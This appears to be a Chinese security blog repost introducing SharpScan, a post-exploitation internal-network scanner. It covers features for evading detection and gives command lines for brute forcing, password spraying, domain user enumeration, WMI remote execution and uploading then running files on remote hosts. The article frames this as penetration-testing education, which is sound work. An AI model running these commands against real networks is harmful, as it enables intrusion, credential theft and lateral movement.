2026-03-12 22:13:32 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 该文档介绍了一款名为SharpScan的内网资产扫描器，专为后渗透阶段设计，支持无文件落地扫描以规避检测。工具由C#开发，具备自动化资产探测、端口扫描、漏洞识别、弱口令爆破及域内信息收集等功能，并兼顾OPSEC原则减少日志痕迹。文章详细列出了工具的功能特性与命令行使用方法，为安全测试人员提供了高效的内网横向移动与信息收集解决方案。 综合评分： 78 文章分类： 安全工具,内网渗透,渗透测试

cover_image

一款后渗透工具支持一键自动化+无文件落地扫描

点击关注👉 点击关注👉

马哥网络安全

2026年3月12日 17:00 河南

1.特点

C#开发的内网资产扫描器，方便内网横向移动和域内信息收集
参考了Ladon，Fscan、Kscan等扫描器的工作原理
为了兼容更古老的系统，所以采用.NET Framework3.5 和.NET Core6.0开发
使用异步和高并发、扫描速度快并且可控、内存自动回收
用Inline-assembly或者Execute-assembly进行内存加载，做到无文件落地扫描
体积较小(目前800kb)、传输快、自动化扫描+内网信息收集一条龙
尽量遵循OPSEC原则，不创建net.exe、wmi.exe、reg.exe等额外的子进程操，减少日志记录

2.主要功能

存活探测(Icmp、Arp)
端口扫描(Tcp)、主机信息探测、目标网卡探测
支持NetBios(默认137端口)、SMB(默认445端口)和WMI(默认135端口)服务快速探测
高危漏洞扫描：Eternal Blue(ms17010)、SMBGhost(CVE-2020-0796)、ZeroLogon（CVE-2020-1472）
Webtitle探测，指纹识别常见CMS、OA框架
各类服务弱口令爆破、账号密码爆破(SSH、SMB、RDP、FTP)，SSH命令执行
探测当前主机.NET版本、操作系统版本信息、杀毒软件/内网设备（AV/EDR/XDR）查询
导出本地RDP登录日志(Rdp端口、Mstsc缓存、Cmdkey缓存、登录成功、失败日志)
判断是否在域内、定位域控IP、信息收集域控的FQDN、域管理员组、域企业管理员组、LDAP查询、域内用户名枚举，密码喷洒（全自动化）
全盘文件搜索，关键字匹配，与Everything的功能相似，适合全盘检索密码本（静默检索、不消耗内存）
携带一个Socks5代理服务器，支持账号密码验证、支持Tcp/IP端口复用
通过Sharpwmi进行内网横向移动，支持文件上传、命令执行（文件上传大小不超过512kb）
将扫描结果导出为txt、md文档

3. 工具使用

Usage: SharpScan [OPTIONS]
Options:&nbsp;&nbsp;-i,&nbsp;--icmp &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Perform icmp scan&nbsp;&nbsp;-a,&nbsp;--arp &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Perform arp scan&nbsp;&nbsp;-U,&nbsp;--udp &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Perform udp scan&nbsp;&nbsp;-h,&nbsp;--hTarget=VALUE &nbsp; &nbsp; &nbsp; &nbsp;Target segment to scan&nbsp;&nbsp;-p,&nbsp;--ports=VALUE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Ports to scan (e.g. "0-1024" or "80,443,8080")&nbsp;&nbsp;-u,&nbsp;--username=VALUE &nbsp; &nbsp; &nbsp; Username for authentication&nbsp; &nbsp; &nbsp;&nbsp;--pw, --password=VALUE Password for authentication&nbsp; &nbsp; &nbsp;&nbsp;--uf, --ufile=VALUE &nbsp; &nbsp;Username file for authentication&nbsp; &nbsp; &nbsp;&nbsp;--pwf, --pwdfile=VALUE Password file for authentication&nbsp;&nbsp;-m,&nbsp;--mode=VALUE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Mode(e.g. ssh/smb/rdp/ftp/wmiexec/dcom/mysql/mssql/&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;userenum/passwordspray)&nbsp;&nbsp;-f,&nbsp;--func=VALUE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; wmiexc function(cmd/psh/upload/uploadexec)&nbsp;&nbsp;-c,&nbsp;--command=VALUE &nbsp; &nbsp; &nbsp; &nbsp;Command Execution&nbsp;&nbsp;-d,&nbsp;--delay=VALUE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Scan delay(ms),Defalt:10ms&nbsp;&nbsp;-t,&nbsp;--thread=VALUE &nbsp; &nbsp; &nbsp; &nbsp; Maximum num of concurrent scans,Defalt:600&nbsp;&nbsp;-s,&nbsp;--search=VALUE &nbsp; &nbsp; &nbsp; &nbsp; Search all files&nbsp;&nbsp;-l,&nbsp;--localfile=VALUE &nbsp; &nbsp; &nbsp;The local file to upload&nbsp;&nbsp;-r,&nbsp;--remotefile=VALUE &nbsp; &nbsp; The remote file path&nbsp; &nbsp; &nbsp;&nbsp;--socks5=VALUE &nbsp; &nbsp; &nbsp; &nbsp; Open socks5 port&nbsp; &nbsp; &nbsp;&nbsp;--http=VALUE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Open SimpleHTTPServer port&nbsp; &nbsp; &nbsp;&nbsp;--folder=VALUE &nbsp; &nbsp; &nbsp; &nbsp; SimpleHTTPServer Folder&nbsp; &nbsp; &nbsp;&nbsp;--nopoc &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Not using proof of concept(POC)&nbsp;&nbsp;-o,&nbsp;--output=VALUE &nbsp; &nbsp; &nbsp; &nbsp; Output file to save console output&nbsp; &nbsp; &nbsp;&nbsp;--help, --show &nbsp; &nbsp; &nbsp; &nbsp; Show this usage and help
Example:&nbsp; SharpScan.exe&nbsp;-help&nbsp; SharpScan.exe&nbsp;-h&nbsp;192.168.1.1/24&nbsp; SharpScan.exe&nbsp;-h C:\ip.txt&nbsp; SharpScan.exe&nbsp;-h&nbsp;192.168.1.1,192.168.1.3,192.168.1.4&nbsp; SharpScan.exe&nbsp;-h&nbsp;192.168.1.107&nbsp;-p&nbsp;100-1024

基本用法

扫描C段/B段，默认使用所有模块

SharpScan.exe -h&nbsp;192.168.1.1/24&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (扫描C段)SharpScan.exe -h&nbsp;192.168.1.1/16&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (扫描B段)SharpScan.exe -h&nbsp;192.168.1.107,192.168.1.3,192.168.1.4&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(扫描指定IP,用逗号分隔)SharpScan.exe -h C:\\Windows\\IP.txt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (扫描指定IP.txt,格式和账号密码本的格式一样)SharpScan.exe -h&nbsp;192.168.1.107&nbsp;-p&nbsp;100-1024&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(对单个IP进行端口扫描)

其它功能

SharpScan.exe -h&nbsp;192.168.244.1/24&nbsp;-nopoc &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (只做网段主机探测和端口扫描)SharpScan.exe -s&nbsp;192.168.244.169&nbsp;-p&nbsp;80-1024&nbsp;-d&nbsp;0&nbsp;-m&nbsp;600&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Tcp端口扫描:80-1024，0延时，最大并发600)SharpScan.exe -t&nbsp;192.168.244.141&nbsp;-U -p&nbsp;100-10000&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(udp端口扫描:100-10000，10ms延时，最大并发600)SharpScan.exe -h&nbsp;192.168.244.1/24&nbsp;-m ssh -u root -pw a &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(C段ssh服务账号密码爆破,账号root，密码a)SharpScan.exe -h&nbsp;192.168.244.1/24&nbsp;-m smb -u administrator -pw a &nbsp; &nbsp; &nbsp; (C段smb服务账号密码爆破,账号administrator，密码a)SharpScan.exe -h&nbsp;192.168.244.1/24&nbsp;-m rdp -u administrator -pw a &nbsp; &nbsp; &nbsp;(C段rdp服务账号密码爆破,账号administrator，密码a)SharpScan.exe -h&nbsp;192.168.244.1/24&nbsp;-m smb -uf user.txt -pwf pass.txt &nbsp; (用账号密码本爆破C段的smb服务)SharpScan.exe -h&nbsp;192.168.244.1/24&nbsp;-m rdp -uf user.txt -pwf pass.txt &nbsp; (用账号密码本爆破C段的rdp服务)SharpScan.exe -h&nbsp;192.168.244.1/24&nbsp;-m ssh -uf user.txt -pwf pass.txt &nbsp; (用账号密码本爆破C段的ssh服务()SharpScan.exe -h&nbsp;192.168.244.1/24&nbsp;-m ms17010 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (C段批量扫描是否存在ms17010)SharpScan.exe -h&nbsp;192.168.244.1/24&nbsp;-m ssh -u root -pw a -c&nbsp;"uname-a"&nbsp; &nbsp;(ssh命令执行C段枚举）SharpScan.exe -h&nbsp;192.168.244.1.3&nbsp;-m wmiexec -f cmd -c&nbsp;"ls C:\\Windows"&nbsp; (远程执行命令，通过注册表传递数据)SharpScan.exe -h&nbsp;192.168.244.1.3&nbsp;-m wmiexec -func upload -l C:\a.exe -r C:\\Windows\a.exe &nbsp; &nbsp;(上传文件到远程主机，-l是本地文件路径，-r是上传到远程主机的文件路径)SharpScan.exe -h&nbsp;192.168.244.1.3&nbsp;-m wmiexec -func uploadexec -l C:\a.exe -r C:\\Windows\a.exe (上传文件到远程主机并且执行文件)SharpScan.exe -h&nbsp;192.168.244.1.3&nbsp;-m userenum -uf user.txt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (域内枚举用户名)SharpScan.exe -h&nbsp;192.168.244.1.3&nbsp;-m passwordspray -uf user.txt -pw abc123$% (域内密码喷洒)SharpScan.exe -h&nbsp;192.168.244.1.3&nbsp;-m passwordspray -uf user.txt -pwf pass.txt(域内密码喷洒)SharpScan.exe -s&nbsp;"pass.txt"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (全盘静默检索pass.txt)SharpScan.exe -socks5&nbsp;8000&nbsp;-u test -pw&nbsp;1234&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Socks5:8000，用户名:test，密码:1234)SharpScan.exe -h&nbsp;192.168.244.1/24&nbsp;-o output.txt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(将扫描结果导出到output.txt)

项目地址

https://github.com/INotGreen/SharpScan

文章内容转自菜鸟学信安，侵删

3月技能成长计划

🌱 3月技能成长计划，今日重磅开启！

🔥 7天限时狂欢，三重好礼等你来拿！

🎁 报名即享：最高立省4700元，加赠实战专题课 + 钻石学习卡 + 京东卡/瑞幸卡（二选一）

🎁 直播福利：免费领取《2026面试宝典》，助你职场先人一步

🎁 推荐有礼：邀好友报名，得大额京东卡，多推多得！

⏰ 活动时间：3月12日-3月18日

👉 立即私信老师，锁定好礼名额！

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：马哥网络安全点击关注👉 点击关注👉《一款后渗透工具支持一键自动化+无文件落地扫描》